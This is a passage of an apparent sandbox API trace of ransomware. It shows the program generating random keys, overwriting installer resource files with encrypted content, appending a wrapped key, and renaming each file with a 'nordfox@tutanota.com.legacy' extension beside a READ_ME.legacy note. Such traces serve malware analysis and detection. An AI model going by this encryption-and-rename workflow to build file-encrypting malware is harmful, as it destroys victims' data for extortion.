RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0098.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0098.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0098.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0098.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0098.603] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1029\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0098.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0098.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0098.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0098.604] CreateFileW (lpFileName="\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c [0098.604] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18264) returned 1 [0098.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x59ff78 [0098.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5a46d8 [0098.604] ReadFile (in: hFile=0x48c, lpBuffer=0x59ff78, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x59ff78*, lpNumberOfBytesRead=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0098.827] SetFilePointer (in: hFile=0x48c, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.827] WriteFile (in: hFile=0x48c, lpBuffer=0x5a46d8*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a46d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0098.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59ff78 | out: hHeap=0x520000) returned 1 [0098.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a46d8 | out: hHeap=0x520000) returned 1 [0098.828] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4758 [0098.828] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0098.828] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0098.830] WriteFile (in: hFile=0x48c, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0098.830] WriteFile (in: hFile=0x48c, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0098.830] CloseHandle (hObject=0x48c) returned 1 [0098.836] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0098.836] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0098.836] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1029\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0098.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0098.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0098.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0098.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0098.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0098.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0098.841] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0098.841] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0098.841] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1029\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0098.842] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0098.842] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0098.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0098.842] CreateFileW (lpFileName="\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c [0098.842] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=80970) returned 1 [0098.842] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13c4a) returned 0x59ff78 [0098.842] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13c4a) returned 0x5b3bd0 [0098.843] ReadFile (in: hFile=0x48c, lpBuffer=0x59ff78, nNumberOfBytesToRead=0x13c4a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x59ff78*, lpNumberOfBytesRead=0x2e1f9bc*=0x13c4a, lpOverlapped=0x0) returned 1 [0099.056] SetFilePointer (in: hFile=0x48c, lDistanceToMove=-80970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.056] WriteFile (in: hFile=0x48c, lpBuffer=0x5b3bd0*, nNumberOfBytesToWrite=0x13c4a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b3bd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13c4a, lpOverlapped=0x0) returned 1 [0099.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59ff78 | out: hHeap=0x520000) returned 1 [0099.058] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b3bd0 | out: hHeap=0x520000) returned 1 [0099.060] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13c4a [0099.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.062] WriteFile (in: hFile=0x48c, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.062] WriteFile (in: hFile=0x48c, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.062] CloseHandle (hObject=0x48c) returned 1 [0099.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0099.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0099.093] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1029\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0099.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0099.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0099.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0099.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0099.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0099.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0099.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0099.096] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1029\\eula.rtf", dwFileAttributes=0x80) returned 1 [0099.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0099.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0099.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0099.098] CreateFileW (lpFileName="\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c [0099.099] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3726) returned 1 [0099.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe8e) returned 0x59ff78 [0099.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe8e) returned 0x5a0e10 [0099.099] ReadFile (in: hFile=0x48c, lpBuffer=0x59ff78, nNumberOfBytesToRead=0xe8e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x59ff78*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8e, lpOverlapped=0x0) returned 1 [0099.200] SetFilePointer (in: hFile=0x48c, lDistanceToMove=-3726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.200] WriteFile (in: hFile=0x48c, lpBuffer=0x5a0e10*, nNumberOfBytesToWrite=0xe8e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0e10*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8e, lpOverlapped=0x0) returned 1 [0099.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59ff78 | out: hHeap=0x520000) returned 1 [0099.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0e10 | out: hHeap=0x520000) returned 1 [0099.201] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8e [0099.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.201] WriteFile (in: hFile=0x48c, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.202] WriteFile (in: hFile=0x48c, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.202] CloseHandle (hObject=0x48c) returned 1 [0099.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0099.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0099.205] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1029\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0099.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0099.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0099.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0099.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0099.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0099.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0099.210] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c58bd8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5531a0 [0099.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0099.210] GetLastError () returned 0x0 [0099.210] SetLastError (dwErrCode=0x0) [0099.210] GetLastError () returned 0x0 [0099.210] SetLastError (dwErrCode=0x0) [0099.210] GetLastError () returned 0x0 [0099.210] SetLastError (dwErrCode=0x0) [0099.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0099.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0099.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0099.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0a68 [0099.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0a68 | out: hHeap=0x520000) returned 1 [0099.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0099.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0099.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0099.211] FindNextFileW (in: hFindFile=0x5531a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c58bd8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0099.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0099.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0099.211] GetLastError () returned 0x0 [0099.211] SetLastError (dwErrCode=0x0) [0099.211] GetLastError () returned 0x0 [0099.211] SetLastError (dwErrCode=0x0) [0099.211] GetLastError () returned 0x0 [0099.211] SetLastError (dwErrCode=0x0) [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0099.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a09e8 [0099.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a09e8 | out: hHeap=0x520000) returned 1 [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0099.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0099.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0099.212] FindNextFileW (in: hFindFile=0x5531a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0099.212] GetLastError () returned 0x0 [0099.212] SetLastError (dwErrCode=0x0) [0099.212] GetLastError () returned 0x0 [0099.212] SetLastError (dwErrCode=0x0) [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0099.212] GetLastError () returned 0x0 [0099.212] SetLastError (dwErrCode=0x0) [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0099.212] FindNextFileW (in: hFindFile=0x5531a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0099.212] GetLastError () returned 0x0 [0099.213] SetLastError (dwErrCode=0x0) [0099.213] GetLastError () returned 0x0 [0099.213] SetLastError (dwErrCode=0x0) [0099.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0099.213] GetLastError () returned 0x0 [0099.213] SetLastError (dwErrCode=0x0) [0099.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0099.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0099.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0099.213] FindNextFileW (in: hFindFile=0x5531a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c58bd8, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c58bd8, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c58bd8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0099.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0099.213] GetLastError () returned 0x0 [0099.213] SetLastError (dwErrCode=0x0) [0099.213] GetLastError () returned 0x0 [0099.213] SetLastError (dwErrCode=0x0) [0099.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0099.213] GetLastError () returned 0x0 [0099.213] SetLastError (dwErrCode=0x0) [0099.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.216] FindNextFileW (in: hFindFile=0x5531a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0099.217] GetLastError () returned 0x0 [0099.217] SetLastError (dwErrCode=0x0) [0099.217] GetLastError () returned 0x0 [0099.217] SetLastError (dwErrCode=0x0) [0099.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0099.217] GetLastError () returned 0x0 [0099.217] SetLastError (dwErrCode=0x0) [0099.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0099.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0099.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0099.217] FindNextFileW (in: hFindFile=0x5531a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0099.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0099.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0099.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0099.218] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0099.218] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0099.218] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1030\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0099.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0099.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0099.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0099.219] CreateFileW (lpFileName="\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: 